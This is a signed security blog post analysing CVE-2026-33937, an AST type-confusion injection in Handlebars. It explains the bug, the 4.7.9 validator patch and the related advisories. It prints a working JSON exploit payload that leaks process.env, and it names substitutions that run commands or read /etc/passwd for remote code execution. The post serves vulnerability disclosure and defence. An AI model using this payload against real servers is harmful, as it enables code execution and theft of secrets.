-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `Handlebars.compile()` accepts a string. It also accepts an AST. It does not announce which it received.\n\nThe dispatch is in `lib/handlebars/compiler/base.js`:\n\n```javascript\nexport function parseWithoutProcessing(input, options) {\n // Just return if an already-compiled AST was passed in.\n if (input.type === 'Program') {\n return input;\n }\n\n parser.yy = yy;\n ...\n let ast = parser.parse(input);\n return ast;\n}\n```\n\nThe fast-path exists for a build-step workflow. A precompiler runs at build time, parses every template the project ships, and emits the AST as a JavaScript object. At runtime, `compile()` is called with that AST and skips the parser. The author chose to expose the dispatch on the same API as the string path, with no second function name and no flag, because internally the library composes parse plus codegen and the composition is convenient at every level.\n\nThe function does not announce which path it took. The developer's call site reads:\n\n```javascript\nconst renderEmail = Handlebars.compile(editorTemplateData);\n```\n\nIf `editorTemplateData` is a string, the parser runs. If `editorTemplateData` is an object whose `type` is the string `Program`, the parser does not run. The developer cannot tell from the call site which happened. The library treats both as legitimate inputs.\n\n`express.json()` is the same dispatch on the wire side. The middleware deserializes the request body into native JavaScript, then hands it to the route handler. A handler that reads `req.body.editorTemplateData` gets a string when the wire delivered a string, and an object when the wire delivered an object. The middleware does not enforce a type; it cannot, because it cannot know which the route expected.\n\nThe PoC composes the two. The vulnerable application is a Korean B2B email builder, eighteen lines of Express, advertised in its own startup banner with the line `Warning: Handlebars v4.7.6 (Vulnerable)`. The route handler reads:\n\n```javascript\napp.post('/api/email/preview', (req, res) => {\n const { subject, editorTemplateData } = req.body;\n if (!editorTemplateData) return res.status(400).json({ error: \"...\" });\n\n const renderEmail = Handlebars.compile(editorTemplateData);\n const finalHtml = renderEmail({ customerName: \"...\", companyName: \"EQST\" });\n return res.status(200).json({ success: true, html: finalHtml });\n});\n```\n\nThe PoC posts:\n\n```json\n{\n \"subject\": \"x\",\n \"editorTemplateData\": {\n \"type\": \"Program\",\n \"body\": [{\n \"type\": \"MustacheStatement\",\n \"path\": { \"type\": \"PathExpression\", \"parts\": [\"log\"] },\n \"params\": [{\n \"type\": \"BooleanLiteral\",\n \"value\": \"{}, {hash: {}})) + JSON.stringify(process.env) + Object(String(''\"\n }],\n \"escaped\": true,\n \"loc\": { \"start\": {}, \"end\": {} }\n }]\n }\n}\n```\n\nThe middleware delivers the value of `editorTemplateData` as an object. The handler passes it to `Handlebars.compile`. The compiler checks `input.type === 'Program'` and returns the input as-is. The parser does not run. The codegen runs against an AST the parser never produced.\n\n## `BooleanLiteral.value` was a boolean by parser construction.\n\nThe parser produces `BooleanLiteral` nodes when it tokenizes `{{foo true}}` or `{{foo false}}`. The relevant case in `parser.js`:\n\n```javascript\ncase 37: this.$ = {\n type: 'BooleanLiteral',\n value: $$[$0] === 'true',\n original: $$[$0] === 'true',\n loc: yy.locInfo(this._$)\n};\n```\n\nThe `value` field is the result of a strict-equality comparison between the source token and the literal string `'true'`. The parser cannot produce a `BooleanLiteral` whose `value` is anything other than `true` or `false`. Every consumer downstream of the parser was written against that invariant.\n\nThe compiler's `BooleanLiteral` handler trusts the invariant:\n\n```javascript\nBooleanLiteral: function(bool) {\n this.opcode('pushLiteral', bool.value);\n},\n```\n\n`pushLiteral` walks down to the JavaScript code generator:\n\n```javascript\npushLiteral: function(value) {\n this.pushStackLiteral(value);\n},\npushStackLiteral: function(item) {\n this.push(new Literal(item));\n},\n```\n\nA `Literal` is a wrapper class with one field. When the helper invocation that the `MustacheStatement` compiles into gets emitted, the `Literal`'s `value` is interpolated into the generated source raw:\n\n```javascript\nlet top = this.popStack(true);\nif (top instanceof Literal) {\n // Literals do not need to be inlined\n stack = [top.value];\n prefix = ['(', stack];\n ...\n}\n```\n\n`top.value` is the string the attacker put in the JSON. It becomes part of the source the compiler is generating. The generated function for the PoC's AST resolves to a helper-invocation expression that contains, verbatim, the attacker's payload as a code fragment:\n\n```javascript\n... .call(depth0 != null ? depth0 : container.nullContext,\n {}, {hash: {}})) + JSON.stringify(process.env) + Object(String(''\n , { name: \"log\", hash: {}, data: data, loc: ... })) ...\n```\n\nThe `}, {hash: {}}))` closes the helper's `.call(...)` invocation early. The `+ JSON.stringify(process.env) + Object(String('` is concatenated into the function's return value. The trailing `Object(String('` is left open so the closing `, { name: \"log\", ... }))` that the codegen emits next finishes a string-coercion call instead of breaking the syntax. The compiled function returns the rendered template appended with the JSON-stringified contents of `process.env`.\n\nThe PoC chooses environment-variable disclosure because it produces visible output in the HTTP response body. The same primitive substitutes any JavaScript expression for `JSON.stringify(...)`. Replacing it with `require(\"child_process\").execSync(\"id\").toString()` spawns a process when the function is called. Replacing it with `require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\")` reads files. The blast radius is RCE.\n\n## The patch added 67 lines to one file.\n\n`lib/handlebars/compiler/base.js` in 4.7.9 has a new `validateInputAst` function. It runs at the same fast-path entry that returned early in 4.7.8:\n\n```diff\n export function parseWithoutProcessing(input, options) {\n // Just return if an already-compiled AST was passed in.\n if (input.type === 'Program') {\n+ // When a pre-parsed AST is passed in, validate all node values to prevent\n+ // code injection via type-confused literals.\n+ validateInputAst(input);\n return input;\n }\n```\n\nThe validator is a recursive walker. The relevant body:\n\n```javascript\nfunction validateAstNode(node) {\n if (node == null) return;\n if (Array.isArray(node)) { node.forEach(validateAstNode); return; }\n if (typeof node !== 'object') return;\n\n if (node.type === 'PathExpression') {\n if (!isValidDepth(node.depth)) {\n throw new Exception('Invalid AST: PathExpression.depth must be an integer');\n }\n if (!Array.isArray(node.parts)) {\n throw new Exception('Invalid AST: PathExpression.parts must be an array');\n }\n for (let i = 0; i < node.parts.length; i++) {\n if (typeof node.parts[i] !== 'string') {\n throw new Exception('Invalid AST: PathExpression.parts must only contain strings');\n }\n }\n } else if (node.type === 'NumberLiteral') {\n if (typeof node.value !== 'number' || !isFinite(node.value)) {\n throw new Exception('Invalid AST: NumberLiteral.value must be a number');\n }\n } else if (node.type === 'BooleanLiteral') {\n if (typeof node.value !== 'boolean') {\n throw new Exception('Invalid AST: BooleanLiteral.value must be a boolean');\n }\n }\n\n Object.keys(node).forEach(propertyName => {\n if (propertyName === 'loc') return;\n validateAstNode(node[propertyName]);\n });\n}\n```\n\nThree node types get explicit type checks: `PathExpression`, `NumberLiteral`, `BooleanLiteral`. These are the three whose value fields the codegen interpolates raw into generated JavaScript. `StringLiteral.value` does not need a check because the codegen quotes it via `quotedString()`. `UndefinedLiteral` and `NullLiteral` have no value field at all; the codegen emits the hardcoded strings `'undefined'` and `'null'` directly. Every other field on every other node gets visited but not type-checked, because no other codegen path was raw-emitting those fields.\n\nThe patch is a contract specification, retroactively. Until 4.7.9, the AST type system in Handlebars was a documentation convention. The parser produced nodes with documented field types. The compiler trusted the documentation. The validator is the first time the contract was enforced as code.\n\n## One commit. Eight advisories. Three with the same four words.\n\nThe commit message:\n\n```\ncommit 68d8df5\nAuthor: Jakob Linskeseder\nDate: Tue Mar 24 17:59:28 2026 +0100\n\n Fix security issues\n\n Fixes GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6, GHSA-3mfm-83xf-c92r,\n GHSA-2qvq-rjwj-gvw9, GHSA-9cx6-37pm-9jff, GHSA-7rx3-28cr-v5wh,\n GHSA-442j-39wm-28r2, GHSA-xjpj-3mr7-gcpf\n```\n\nThree of the eight advisory titles share the same four-word phrase:\n\n- **GHSA-2w6w-674q-4c4q** (CVE-2026-33937, Critical): JavaScript Injection via AST Type Confusion in compile\n- **GHSA-xhpv-hc6g-r9c6** (High): JavaScript Injection via AST Type Confusion by passing an object as dynamic partial\n- **GHSA-3mfm-83xf-c92r** (High): JavaScript Injection via AST Type Confusion by tampering @partial-block\n\nThe other five are adjacent. GHSA-xjpj-3mr7-gcpf is JavaScript injection in the CLI precompiler, the build-step counterpart to the runtime API. GHSA-9cx6-37pm-9jff is denial-of-service via malformed decorator syntax. GHSA-2qvq-rjwj-gvw9 is prototype pollution via partial template injection. GHSA-7rx3-28cr-v5wh is a missing entry in the prototype-method blocklist. GHSA-442j-39wm-28r2 is a property-access bypass in the runtime helper. The eight reach Handlebars by eight different entry points and produce primitives that range from RCE to XSS to DoS.\n\nWhat unifies them is not the bug class. The unifier is the substrate: every public API surface in Handlebars converts caller-influenced inputs into JavaScript that the runtime executes, and each surface trusted upstream invariants that no API consumer was contractually obliged to maintain. The eight researchers found eight different surfaces. The single commit closes them by writing down the contracts that were previously implicit.\n\n## This is a [design-debt-driver](/patterns/design-debt-driver), again.\n\nHandlebars has produced this shape of CVE before. CVE-2019-19919 was prototype pollution through the `lookupProperty` helper. CVE-2019-20920 was RCE through `Object.__defineGetter__`. CVE-2021-23369 was an RCE in `compileToCallback` strict-mode bypass. CVE-2021-23383 was RCE via `__proto__` pollution in `compile`. The 4.7.9 family is the next instance.\n\nWhat every fix has in common is that it closed the specific surface and left the substrate intact. The substrate is the public API converting caller-influenced inputs into JavaScript the runtime executes. The closing of any one surface does not change the substrate. The next CVE arrives when the next researcher finds the next surface. Nothing about the 4.7.9 patch reduces the number of surfaces; it adds invariant checks at three of them and leaves the rest of the codebase to the next discovery.\n\nThe pattern at the wire boundary is [content-is-command](/patterns/content-is-command). A field whose name is `editorTemplateData` and whose surrounding documentation calls it a template carries either a template (passive content) or an instruction stream that the library compiles into JavaScript. The interpreter chooses based on shape, with no preference for the safer interpretation. `express.json()` and `Handlebars.compile` are independent components that each made a defensible choice in isolation: `express.json` deserializes whatever the wire delivered, and `compile` accepts whatever its caller passes. The composition produces a wire-to-JavaScript pipeline that no individual contract names.\n\nThe advisory recommends two mitigations. The first is a one-line type guard at every `compile()` call site: `if (typeof template !== 'string') throw`. The second is to switch to the runtime-only build (`handlebars/runtime`), which does not include `compile()` at all. The runtime-only build requires precompilation as a separate build step, which most applications structurally cannot adopt; their use case is letting end users author templates at runtime. Applications that picked Handlebars specifically because users author templates can take the type-guard mitigation and watch for the next family.\n\n## The contract was implicit.\n\n`Handlebars.compile` accepted parsed ASTs from external callers since the project's first release. Until March 24, 2026, the function did not check whether the AST it accepted had the shape the parser produced. Eight researchers, working independently, found eight surfaces where the missing check produced a primitive. The single commit that fixed them is the first time the library wrote down what its AST was supposed to look like.\n\nThe contract was always there. The contract was always implicit. Eight CVEs is the price of the implicit contract being load-bearing for fourteen years.\n\nPoC: [EQSTLab/CVE-2026-33937](https://github.com/EQSTLab/CVE-2026-33937)","closing_line":"Handlebars accepted parsed ASTs from external callers for fourteen years. It validated them for the first time this March.","hook_md":"The PoC for CVE-2026-33937 is a JSON file. The application's HTTP handler deserializes the body, hands the resulting object to `Handlebars.compile`, and gets back a function. When the function is called, it stringifies `process.env` into the rendered email. The single commit that fixes this in Handlebars 4.7.9 fixes seven other advisories alongside it. Three of them have the same four words in their title: *JavaScript Injection via AST Type Confusion*. Handlebars accepted parsed ASTs from external callers for fourteen years. It validated them for the first time this March.","post_id":49,"slug":"handlebars-cve-2026-33937-trusts-its-own-ast","title":"CVE-2026-33937: Handlebars Trusts Its Own AST","type":"initial","unreadable_sentence":"Handlebars accepted parsed ASTs from external callers for fourteen years. It validated them for the first time this March."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCagimAQAKCRDeZjl4jgkQ JvxZAPwL8Bh9o3lC/UgXIJhPjbY3fwihByww+bhb77oym2g5mgEAsVZ+UA/ONjO9 jJwwWcRlTRw+0IkMfZnr28Czd02mhg4= =ptl6 -----END PGP SIGNATURE-----